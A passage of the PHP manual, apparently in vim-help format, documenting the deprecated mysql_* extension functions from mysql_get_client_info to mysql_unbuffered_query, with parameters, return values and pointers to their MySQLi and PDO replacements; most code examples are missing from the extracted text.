Instead, the MySQLi or PDO_MySQL extension should be used. See also |MySQL__choosing_an_API| guide and related FAQ for more information. Alternatives to this function include: |mysqli_get_client_info|() |PDO::getAttribute|(PDO::ATTR_CLIENT_VERSION) Description~ > string mysql_get_client_info ( void ) < mysql_get_client_info() returns a string that represents the client library version. Return Values~ The MySQL client version. Examples~ Example #1 mysql_get_client_info() example > < The above example will output something similar to: MySQL client info: 3.23.39 See Also ¶ |mysql_get_host_info|() - Get MySQL host info |mysql_get_proto_info|() - Get MySQL protocol info |mysql_get_server_info|() - Get MySQL server info -------------------------------------------------------------------------------- *mysql_get_host_info* +---------------------+~ | mysql_get_host_info |~ +---------------------+~ (PHP 4 >= 4.0.5, PHP 5) mysql_get_host_info — Get MySQL host info Warning~ This extension was deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0. Instead, the MySQLi or PDO_MySQL extension should be used. See also |MySQL__choosing_an_API| guide and related FAQ for more information. Alternatives to this function include: |mysqli_get_host_info|() |PDO::getAttribute|(PDO::ATTR_CONNECTION_STATUS) Description~ > string mysql_get_host_info ([ resource $link_identifier = NULL ] ) < Describes the type of connection in use for the connection, including the server host name. Parameters~ link_identifier --------------- The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() had been called with no arguments. If no connection is found or established, an E_WARNING level error is generated. Return Values~ Returns a string describing the type of MySQL connection in use for the connection or FALSE on failure. Examples~ Example #1 mysql_get_host_info() example > < The above example will output something similar to: MySQL host info: Localhost via UNIX socket See Also~ |mysql_get_client_info|() - Get MySQL client info |mysql_get_proto_info|() - Get MySQL protocol info |mysql_get_server_info|() - Get MySQL server info -------------------------------------------------------------------------------- *mysql_get_proto_info* +----------------------+~ | mysql_get_proto_info |~ +----------------------+~ (PHP 4 >= 4.0.5, PHP 5) mysql_get_proto_info — Get MySQL protocol info Warning~ This extension was deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0. Instead, the MySQLi or PDO_MySQL extension should be used. See also |MySQL__choosing_an_API| guide and related FAQ for more information. Alternatives to this function include: |mysqli_get_proto_info|() Description~ > int mysql_get_proto_info ([ resource $link_identifier = NULL ] ) < Retrieves the MySQL protocol. Parameters~ link_identifier --------------- The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() had been called with no arguments. If no connection is found or established, an E_WARNING level error is generated. Return Values~ Returns the MySQL protocol on success or FALSE on failure. Examples~ Example #1 mysql_get_proto_info() example > < The above example will output something similar to: MySQL protocol version: 10 See Also~ |mysql_get_client_info|() - Get MySQL client info |mysql_get_host_info|() - Get MySQL host info |mysql_get_server_info|() - Get MySQL server info -------------------------------------------------------------------------------- *mysql_get_server_info* +-----------------------+~ | mysql_get_server_info |~ +-----------------------+~ (PHP 4 >= 4.0.5, PHP 5) mysql_get_server_info — Get MySQL server info Warning~ This extension was deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0. Instead, the MySQLi or PDO_MySQL extension should be used. See also |MySQL__choosing_an_API| guide and related FAQ for more information. Alternatives to this function include: |mysqli_get_server_info|() |PDO::getAttribute|(PDO::ATTR_SERVER_VERSION) Description~ > string mysql_get_server_info ([ resource $link_identifier = NULL ] ) < Retrieves the MySQL server version. Parameters~ link_identifier --------------- The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() had been called with no arguments. If no connection is found or established, an E_WARNING level error is generated. Return Values~ Returns the MySQL server version on success or FALSE on failure. Examples~ Example #1 mysql_get_server_info() example > < The above example will output something similar to: MySQL server version: 4.0.1-alpha See Also~ |mysql_get_client_info|() - Get MySQL client info |mysql_get_host_info|() - Get MySQL host info |mysql_get_proto_info|() - Get MySQL protocol info |phpversion|() - Gets the current PHP version -------------------------------------------------------------------------------- *mysql_info* +------------+~ | mysql_info |~ +------------+~ (PHP 4 >= 4.3.0, PHP 5) mysql_info — Get information about the most recent query Warning~ This extension was deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0. Instead, the MySQLi or PDO_MySQL extension should be used. See also |MySQL__choosing_an_API| guide and related FAQ for more information. Alternatives to this function include: |mysqli_info|() Description~ > string mysql_info ([ resource $link_identifier = NULL ] ) < Returns detailed information about the last query. Parameters~ link_identifier --------------- The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() had been called with no arguments. If no connection is found or established, an E_WARNING level error is generated. Return Values~ Returns information about the statement on success, or FALSE on failure. See the example below for which statements provide information, and what the returned value may look like. Statements that are not listed will return FALSE. Examples~ Example #1 Relevant MySQL Statements Statements that return string values. The numbers are only for illustrating purpose; their values will correspond to the query. INSERT INTO ... SELECT ... String format: Records: 23 Duplicates: 0 Warnings: 0 INSERT INTO ... VALUES (...),(...),(...)... String format: Records: 37 Duplicates: 0 Warnings: 0 LOAD DATA INFILE ... String format: Records: 42 Deleted: 0 Skipped: 0 Warnings: 0 ALTER TABLE String format: Records: 60 Duplicates: 0 Warnings: 0 UPDATE String format: Rows matched: 65 Changed: 65 Warnings: 0 Notes~ Note: mysql_info() returns a non-FALSE value for the INSERT ... VALUES statement only if multiple value lists are specified in the statement. See Also~ |mysql_affected_rows|() - Get number of affected rows in previous MySQL operation |mysql_insert_id|() - Get the ID generated in the last query |mysql_stat|() - Get current system status -------------------------------------------------------------------------------- *mysql_insert_id* +-----------------+~ | mysql_insert_id |~ +-----------------+~ (PHP 4, PHP 5) mysql_insert_id — Get the ID generated in the last query Warning~ This extension was deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0. Instead, the MySQLi or PDO_MySQL extension should be used. See also |MySQL__choosing_an_API| guide and related FAQ for more information. Alternatives to this function include: |mysqli_insert_id|() |PDO::lastInsertId|() Description~ > int mysql_insert_id ([ resource $link_identifier = NULL ] ) < Retrieves the ID generated for an AUTO_INCREMENT column by the previous query (usually INSERT). Parameters~ link_identifier --------------- The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() had been called with no arguments. If no connection is found or established, an E_WARNING level error is generated. Return Values~ The ID generated for an AUTO_INCREMENT column by the previous query on success, 0 if the previous query does not generate an AUTO_INCREMENT value, or FALSE if no MySQL connection was established. Examples~ Example #1 mysql_insert_id() example > < Notes~ Caution mysql_insert_id() will convert the return type of the native MySQL C API function mysql_insert_id() to a type of long (named int in PHP). If your AUTO_INCREMENT column has a column type of BIGINT (64 bits) the conversion may result in an incorrect value. Instead, use the internal MySQL SQL function LAST_INSERT_ID() in an SQL query. For more information about PHP's maximum integer values, please see the integer documentation. Note: Because mysql_insert_id() acts on the last performed query, be sure to call mysql_insert_id() immediately after the query that generates the value. Note: The value of the MySQL SQL function LAST_INSERT_ID() always contains the most recently generated AUTO_INCREMENT value, and is not reset between queries. See Also~ |mysql_query|() - Send a MySQL query |mysql_info|() - Get information about the most recent query -------------------------------------------------------------------------------- *mysql_list_dbs* +----------------+~ | mysql_list_dbs |~ +----------------+~ (PHP 4, PHP 5) mysql_list_dbs — List databases available on a MySQL server Warning~ This extension was deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0. Instead, the MySQLi or PDO_MySQL extension should be used. See also |MySQL__choosing_an_API| guide and related FAQ for more information. Alternatives to this function include: SQL Query: SHOW DATABASES Description~ > resource mysql_list_dbs ([ resource $link_identifier = NULL ] ) < Returns a result pointer containing the databases available from the current mysql daemon. Parameters~ link_identifier --------------- The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() had been called with no arguments. If no connection is found or established, an E_WARNING level error is generated. Return Values~ Returns a result pointer resource on success, or FALSE on failure. Use the mysql_tablename() function to traverse this result pointer, or any function for result tables, such as mysql_fetch_array(). Examples~ Example #1 mysql_list_dbs() example > Database . "\n"; } ?> < The above example will output something similar to: database1 database2 database3 Notes Note: For backward compatibility, the following deprecated alias may be used: mysql_listdbs() See Also~ |mysql_db_name|() - Retrieves database name from the call to mysql_list_dbs |mysql_select_db|() - Select a MySQL database -------------------------------------------------------------------------------- *mysql_list_fields* +-------------------+~ | mysql_list_fields |~ +-------------------+~ (PHP 4, PHP 5) mysql_list_fields — List MySQL table fields Warning~ This extension was deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0. Instead, the MySQLi or PDO_MySQL extension should be used. See also |MySQL__choosing_an_API| guide and related FAQ for more information. Alternatives to this function include: SQL Query: SHOW COLUMNS FROM sometable Description~ > resource mysql_list_fields ( string $database_name , string $table_name [, resource $link_identifier = NULL ] ) < Retrieves information about the given table name. This function is deprecated. It is preferable to use mysql_query() to issue an SQL SHOW COLUMNS FROM table [LIKE 'name'] statement instead. Parameters~ database_name ------------- The name of the database that's being queried. table_name ---------- The name of the table that's being queried. link_identifier --------------- The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() had been called with no arguments. If no connection is found or established, an E_WARNING level error is generated. Return Values~ A result pointer resource on success, or FALSE on failure. The returned result can be used with mysql_field_flags(), mysql_field_len(), mysql_field_name() and mysql_field_type(). Examples~ Example #1 Alternate to deprecated mysql_list_fields() > 0) { while ($row = mysql_fetch_assoc($result)) { print_r($row); } } ?> < The above example will output something similar to: Array ( [Field] => id [Type] => int(7) [Null] => [Key] => PRI [Default] => [Extra] => auto_increment ) Array ( [Field] => email [Type] => varchar(100) [Null] => [Key] => [Default] => [Extra] => ) Notes Note: For backward compatibility, the following deprecated alias may be used: mysql_listfields() See Also~ |mysql_field_flags|() - Get the flags associated with the specified field in a result |mysql_info|() - Get information about the most recent query -------------------------------------------------------------------------------- *mysql_list_processes* +----------------------+~ | mysql_list_processes |~ +----------------------+~ (PHP 4 >= 4.3.0, PHP 5) mysql_list_processes — List MySQL processes Warning~ This extension was deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0. Instead, the MySQLi or PDO_MySQL extension should be used. See also |MySQL__choosing_an_API| guide and related FAQ for more information. Alternatives to this function include: |mysqli_thread_id|() Description~ > resource mysql_list_processes ([ resource $link_identifier = NULL ] ) < Retrieves the current MySQL server threads. Parameters~ link_identifier -------------- The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() had been called with no arguments. If no connection is found or established, an E_WARNING level error is generated. Return Values~ A result pointer resource on success or FALSE on failure. Examples~ Example #1 mysql_list_processes() example > < The above example will output something similar to: 1 localhost test Processlist 0 4 localhost mysql sleep 5 See Also~ |mysql_thread_id|() - Return the current thread ID |mysql_stat|() - Get current system status -------------------------------------------------------------------------------- *mysql_list_tables* +-------------------+~ | mysql_list_tables |~ +-------------------+~ (PHP 4, PHP 5) mysql_list_tables — List tables in a MySQL database Warning~ This extension was deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0. Instead, the MySQLi or PDO_MySQL extension should be used. See also |MySQL__choosing_an_API| guide and related FAQ for more information. Alternatives to this function include: SQL Query: SHOW TABLES FROM dbname Description~ > resource mysql_list_tables ( string $database [, resource $link_identifier = NULL ] ) < Retrieves a list of table names from a MySQL database. This function is deprecated. It is preferable to use mysql_query() to issue an SQL SHOW TABLES [FROM db_name] [LIKE 'pattern'] statement instead. Parameters~ database -------- The name of the database link_identifier --------------- The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() had been called with no arguments. If no connection is found or established, an E_WARNING level error is generated. Return Values~ A result pointer resource on success or FALSE on failure. Use the mysql_tablename() function to traverse this result pointer, or any function for result tables, such as mysql_fetch_array(). Changelog~ Version Description 4.3.7 This function became deprecated. Examples~ Example #1 mysql_list_tables() alternative example > < Notes Note: For backward compatibility, the following deprecated alias may be used: mysql_listtables() See Also~ |mysql_list_dbs|() - List databases available on a MySQL server |mysql_tablename|() - Get table name of field -------------------------------------------------------------------------------- *mysql_num_fields* +------------------+~ | mysql_num_fields |~ +------------------+~ (PHP 4, PHP 5) mysql_num_fields — Get number of fields in result Warning~ This extension was deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0. Instead, the MySQLi or PDO_MySQL extension should be used. See also |MySQL__choosing_an_API| guide and related FAQ for more information. Alternatives to this function include: |mysqli_num_fields|() |PDOStatement::columnCount|() Description~ > int mysql_num_fields ( resource $result ) < Retrieves the number of fields from a query. Parameters~ result ------ The result resource that is being evaluated. This result comes from a call to mysql_query(). Return Values~ Returns the number of fields in the result set resource on success or FALSE on failure. Examples~ Example #1 A mysql_num_fields() example > < Notes Note: For backward compatibility, the following deprecated alias may be used: mysql_numfields() See Also~ |mysql_select_db|() - Select a MySQL database |mysql_query|() - Send a MySQL query |mysql_fetch_field|() - Get column information from a result and return as an object |mysql_num_rows|() - Get number of rows in result -------------------------------------------------------------------------------- *mysql_num_rows* +----------------+~ | mysql_num_rows |~ +----------------+~ (PHP 4, PHP 5) mysql_num_rows — Get number of rows in result Warning~ This extension was deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0. Instead, the MySQLi or PDO_MySQL extension should be used. See also |MySQL__choosing_an_API| guide and related FAQ for more information. Alternatives to this function include: |mysqli_num_rows|() |mysqli_stmt_num_rows|() |PDOStatement::rowCount|() Description~ > int mysql_num_rows ( resource $result ) < Retrieves the number of rows from a result set. This command is only valid for statements like SELECT or SHOW that return an actual result set. To retrieve the number of rows affected by a INSERT, UPDATE, REPLACE or DELETE query, use mysql_affected_rows(). Parameters~ result ------ The result resource that is being evaluated. This result comes from a call to mysql_query(). Return Values~ The number of rows in a result set on success or FALSE on failure. Examples~ Example #1 mysql_num_rows() example > < Notes Note: If you use mysql_unbuffered_query(), mysql_num_rows() will not return the correct value until all the rows in the result set have been retrieved. Note: For backward compatibility, the following deprecated alias may be used: mysql_numrows() See Also~ |mysql_affected_rows|() - Get number of affected rows in previous MySQL operation |mysql_connect|() - Open a connection to a MySQL Server |mysql_data_seek|() - Move internal result pointer |mysql_select_db|() - Select a MySQL database |mysql_query|() - Send a MySQL query -------------------------------------------------------------------------------- *mysql_pconnect* +----------------+~ | mysql_pconnect |~ +----------------+~ (PHP 4, PHP 5) mysql_pconnect — Open a persistent connection to a MySQL server Warning~ This extension was deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0. Instead, the MySQLi or PDO_MySQL extension should be used. See also |MySQL__choosing_an_API| guide and related FAQ for more information. Alternatives to this function include: |mysqli_connect|() with p: host prefix |PDO::__construct|() with PDO::ATTR_PERSISTENT as a driver option Description~ > resource mysql_pconnect ([ string $server = ini_get("mysql.default_host") [, string $username = ini_get("mysql.default_user") [, string $password = ini_get("mysql.default_password") [, int $client_flags = 0 ]]]] ) < Establishes a persistent connection to a MySQL server. mysql_pconnect() acts very much like mysql_connect() with two major differences. First, when connecting, the function would first try to find a (persistent) link that's already open with the same host, username and password. If one is found, an identifier for it will be returned instead of opening a new connection. Second, the connection to the SQL server will not be closed when the execution of the script ends. Instead, the link will remain open for future use (mysql_close() will not close links established by mysql_pconnect()). This type of link is therefore called 'persistent'. Parameters~ server ------ The MySQL server. It can also include a port number. e.g. "hostname:port" or a path to a local socket e.g. ":/path/to/socket" for the localhost. If the PHP directive mysql.default_host is undefined (default), then the default value is 'localhost:3306' username -------- The username. Default value is the name of the user that owns the server process. password -------- The password. Default value is an empty password. client_flags ------------ The client_flags parameter can be a combination of the following constants: 128 (enable LOAD DATA LOCAL handling), MYSQL_CLIENT_SSL, MYSQL_CLIENT_COMPRESS, MYSQL_CLIENT_IGNORE_SPACE or MYSQL_CLIENT_INTERACTIVE. Return Values~ Returns a MySQL persistent link identifier on success, or FALSE on failure. Changelog~ Version Description 5.5.0 This function will generate an E_DEPRECATED error. Notes Note: Note, that these kind of links only work if you are using a module version of PHP. See the Persistent Database Connections section for more information. Warning Using persistent connections can require a bit of tuning of your Apache and MySQL configurations to ensure that you do not exceed the number of connections allowed by MySQL. Note: You can suppress the error message on failure by prepending a @ to the function name. See Also~ |mysql_connect|() - Open a connection to a MySQL Server Persistent Database Connections -------------------------------------------------------------------------------- *mysql_ping* +------------+~ | mysql_ping |~ +------------+~ (PHP 4 >= 4.3.0, PHP 5) mysql_ping — Ping a server connection or reconnect if there is no connection Warning~ This extension was deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0. Instead, the MySQLi or PDO_MySQL extension should be used. See also |MySQL__choosing_an_API| guide and related FAQ for more information. Alternatives to this function include: |mysqli_ping|() Description~ > bool mysql_ping ([ resource $link_identifier = NULL ] ) < Checks whether or not the connection to the server is working. If it has gone down, an automatic reconnection is attempted. This function can be used by scripts that remain idle for a long while, to check whether or not the server has closed the connection and reconnect if necessary. Note: Automatic reconnection is disabled by default in versions of MySQL >= 5.0.3. Parameters~ link_identifier --------------- The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() had been called with no arguments. If no connection is found or established, an E_WARNING level error is generated. Return Values~ Returns TRUE if the connection to the server MySQL server is working, otherwise FALSE. Examples~ Example #1 A mysql_ping() example > < See Also~ |mysql_thread_id|() - Return the current thread ID |mysql_list_processes|() - List MySQL processes -------------------------------------------------------------------------------- *mysql_query* +-------------+~ | mysql_query |~ +-------------+~ (PHP 4, PHP 5) mysql_query — Send a MySQL query Warning~ This extension was deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0. Instead, the MySQLi or PDO_MySQL extension should be used. See also |MySQL__choosing_an_API| guide and related FAQ for more information. Alternatives to this function include: |mysqli_query|() |PDO::query|() Description~ > mixed mysql_query ( string $query [, resource $link_identifier = NULL ] ) < mysql_query() sends a unique query (multiple queries are not supported) to the currently active database on the server that's associated with the specified link_identifier. Parameters~ query ----- An SQL query The query string should not end with a semicolon. Data inside the query should be properly escaped. link_identifier --------------- The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() had been called with no arguments. If no connection is found or established, an E_WARNING level error is generated. Return Values~ For SELECT, SHOW, DESCRIBE, EXPLAIN and other statements returning resultset, mysql_query() returns a resource on success, or FALSE on error. For other type of SQL statements, INSERT, UPDATE, DELETE, DROP, etc, mysql_query() returns TRUE on success or FALSE on error. The returned result resource should be passed to mysql_fetch_array(), and other functions for dealing with result tables, to access the returned data. Use mysql_num_rows() to find out how many rows were returned for a SELECT statement or mysql_affected_rows() to find out how many rows were affected by a DELETE, INSERT, REPLACE, or UPDATE statement. mysql_query() will also fail and return FALSE if the user does not have permission to access the table(s) referenced by the query. Examples~ Example #1 Invalid Query The following query is syntactically invalid, so mysql_query() fails and returns FALSE. > < Example #2 Valid Query The following query is valid, so mysql_query() returns a resource. > < See Also~ |mysql_connect|() - Open a connection to a MySQL Server |mysql_error|() - Returns the text of the error message from previous MySQL operation |mysql_real_escape_string|() - Escapes special characters in a string for use in an SQL statement |mysql_result|() - Get result data |mysql_fetch_assoc|() - Fetch a result row as an associative array |mysql_unbuffered_query|() - Send an SQL query to MySQL without fetching and buffering the result rows. -------------------------------------------------------------------------------- *mysql_result* +--------------+~ | mysql_result |~ +--------------+~ (PHP 4, PHP 5) mysql_result — Get result data Warning~ This extension was deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0. Instead, the MySQLi or PDO_MySQL extension should be used. See also |MySQL__choosing_an_API| guide and related FAQ for more information. Alternatives to this function include: |mysqli_data_seek|() in conjunction with mysqli_field_seek() and mysqli_fetch_field() |PDOStatement::fetchColumn|() Description~ > string mysql_result ( resource $result , int $row [, mixed $field = 0 ] ) < Retrieves the contents of one cell from a MySQL result set. When working on large result sets, you should consider using one of the functions that fetch an entire row (specified below). As these functions return the contents of multiple cells in one function call, they're MUCH quicker than mysql_result(). Also, note that specifying a numeric offset for the field argument is much quicker than specifying a fieldname or tablename.fieldname argument. Parameters~ result ------ The result resource that is being evaluated. This result comes from a call to mysql_query(). row ----- The row number from the result that's being retrieved. Row numbers start at 0. field ----- The name or offset of the field being retrieved. It can be the field's offset, the field's name, or the field's table dot field name (tablename.fieldname). If the column name has been aliased ('select foo as bar from...'), use the alias instead of the column name. If undefined, the first field is retrieved. Return Values~ The contents of one cell from a MySQL result set on success, or FALSE on failure. Examples~ Example #1 mysql_result() example > < Notes Note: Calls to mysql_result() should not be mixed with calls to other functions that deal with the result set. See Also~ |mysql_fetch_row|() - Get a result row as an enumerated array |mysql_fetch_array|() - Fetch a result row as an associative array, a numeric array, or both |mysql_fetch_assoc|() - Fetch a result row as an associative array |mysql_fetch_object|() - Fetch a result row as an object -------------------------------------------------------------------------------- *mysql_select_db* +-----------------+~ | mysql_select_db |~ +-----------------+~ (PHP 4, PHP 5) mysql_select_db — Select a MySQL database Warning~ This extension was deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0. Instead, the MySQLi or PDO_MySQL extension should be used. See also |MySQL__choosing_an_API| guide and related FAQ for more information. Alternatives to this function include: |mysqli_select_db|() |PDO::__construct|() (part of dsn) Description~ > bool mysql_select_db ( string $database_name [, resource $link_identifier = NULL ] ) < Sets the current active database on the server that's associated with the specified link identifier. Every subsequent call to mysql_query() will be made on the active database. Parameters~ database_name ------------- The name of the database that is to be selected. link_identifier --------------- The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() had been called with no arguments. If no connection is found or established, an E_WARNING level error is generated. Return Values~ Returns TRUE on success or FALSE on failure. Examples~ Example #1 mysql_select_db() example > < Notes Note: For backward compatibility, the following deprecated alias may be used: mysql_selectdb() See Also~ |mysql_connect|() - Open a connection to a MySQL Server |mysql_pconnect|() - Open a persistent connection to a MySQL server |mysql_query|() - Send a MySQL query -------------------------------------------------------------------------------- *mysql_set_charset* +-------------------+~ | mysql_set_charset |~ +-------------------+~ (PHP 5 >= 5.2.3) mysql_set_charset — Sets the client character set Warning~ This extension was deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0. Instead, the MySQLi or PDO_MySQL extension should be used. See also |MySQL__choosing_an_API| guide and related FAQ for more information. Alternatives to this function include: |mysqli_set_charset|() |PDO: Add| charset to the connection string, such as charset=utf8 Description~ > bool mysql_set_charset ( string $charset [, resource $link_identifier = NULL ] ) < Sets the default character set for the current connection. Parameters~ charset ------- A valid character set name. link_identifier --------------- The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() had been called with no arguments. If no connection is found or established, an E_WARNING level error is generated. Return Values~ Returns TRUE on success or FALSE on failure. Notes Note: This function requires MySQL 5.0.7 or later. Note: This is the preferred way to change the charset. Using mysql_query() to set it (such as SET NAMES utf8) is not recommended. See the MySQL character set concepts section for more information. See Also~ Setting character sets in MySQL » List of character sets that MySQL supports mysql_client_encoding() - Returns the name of the character set -------------------------------------------------------------------------------- *mysql_tablename* +-----------------+~ | mysql_tablename |~ +-----------------+~ (PHP 4, PHP 5) mysql_tablename — Get table name of field Warning~ This extension was deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0. Instead, the MySQLi or PDO_MySQL extension should be used. See also |MySQL__choosing_an_API| guide and related FAQ for more information. Alternatives to this function include: SQL Query: SHOW TABLES Description~ > string mysql_tablename ( resource $result , int $i ) < Retrieves the table name from a result. This function is deprecated. It is preferable to use mysql_query() to issue an SQL SHOW TABLES [FROM db_name] [LIKE 'pattern'] statement instead. Parameters~ result ------ A result pointer resource that's returned from mysql_list_tables(). i ----- The integer index (row/table number) Return Values~ The name of the table on success or FALSE on failure. Use the mysql_tablename() function to traverse this result pointer, or any function for result tables, such as mysql_fetch_array(). Changelog~ Version Description 5.5.0 The mysql_tablename() function is deprecated, and emits an E_DEPRECATED level error. Examples~ Example #1 mysql_tablename() example > < Notes Note: The mysql_num_rows() function may be used to determine the number of tables in the result pointer. See Also~ |mysql_list_tables|() - List tables in a MySQL database |mysql_field_table|() - Get name of the table the specified field is in |mysql_db_name|() - Retrieves database name from the call to mysql_list_dbs -------------------------------------------------------------------------------- *mysql_thread_id* +-----------------+~ | mysql_thread_id |~ +-----------------+~ (PHP 4 >= 4.3.0, PHP 5) mysql_thread_id — Return the current thread ID Warning~ This extension was deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0. Instead, the MySQLi or PDO_MySQL extension should be used. See also |MySQL__choosing_an_API| guide and related FAQ for more information. Alternatives to this function include: |mysqli_thread_id|() Description~ > int mysql_thread_id ([ resource $link_identifier = NULL ] ) < Retrieves the current thread ID. If the connection is lost, and a reconnect with mysql_ping() is executed, the thread ID will change. This means only retrieve the thread ID when needed. Parameters~ link_identifier --------------- The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() had been called with no arguments. If no connection is found or established, an E_WARNING level error is generated. Return Values~ The thread ID on success or FALSE on failure. Examples~ Example #1 mysql_thread_id() example > < The above example will output something similar to: current thread id is 73 See Also~ |mysql_ping|() - Ping a server connection or reconnect if there is no connection |mysql_list_processes|() - List MySQL processes -------------------------------------------------------------------------------- *mysql_unbuffered_query* +------------------------+~ | mysql_unbuffered_query |~ +------------------------+~ (PHP 4 >= 4.0.6, PHP 5) mysql_unbuffered_query — Send an SQL query to MySQL without fetching and buffering the result rows. Warning~ This extension was deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0. Instead, the MySQLi or PDO_MySQL extension should be used. See also |MySQL__choosing_an_API| guide and related FAQ for more information. Alternatives to this function include: See: Buffered and Unbuffered queries Description~ > resource mysql_unbuffered_query ( string $query [, resource $link_identifier = NULL ] ) < mysql_unbuffered_query() sends the SQL query query to MySQL without automatically fetching and buffering the result rows as mysql_query() does. This saves a considerable amount of memory with SQL queries that produce large result sets, and you can start working on the result set immediately after the first row has been retrieved as you don't have to wait until the complete SQL query has been performed. To use mysql_unbuffered_query() while multiple database connections are open, you must specify the optional parameter link_identifier to identify which connection you want to use. Parameters~ query ----- The SQL query to execute. Data inside the query should be properly escaped. link_identifier --------------- The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() had been called with no arguments. If no connection is found or established, an E_WARNING level error is generated. Return Values~ For SELECT, SHOW, DESCRIBE or EXPLAIN statements, mysql_unbuffered_query() returns a resource on success, or FALSE on error. For other type of SQL statements, UPDATE, DELETE, DROP, etc, mysql_unbuffered_query() returns TRUE on success or FALSE on error. Notes Note: The benefits of mysql_unbuffered_query() come at a cost: you cannot use mysql_num_rows() and mysql_data_seek() on a result set returned from mysql_unbuffered_query(), until all rows are fetched. You also have to fetch all result rows from an unbuffered SQL query before you can send a new SQL query to MySQL, using the same link_identifier. See Also~ |mysql_query|() - Send a MySQL query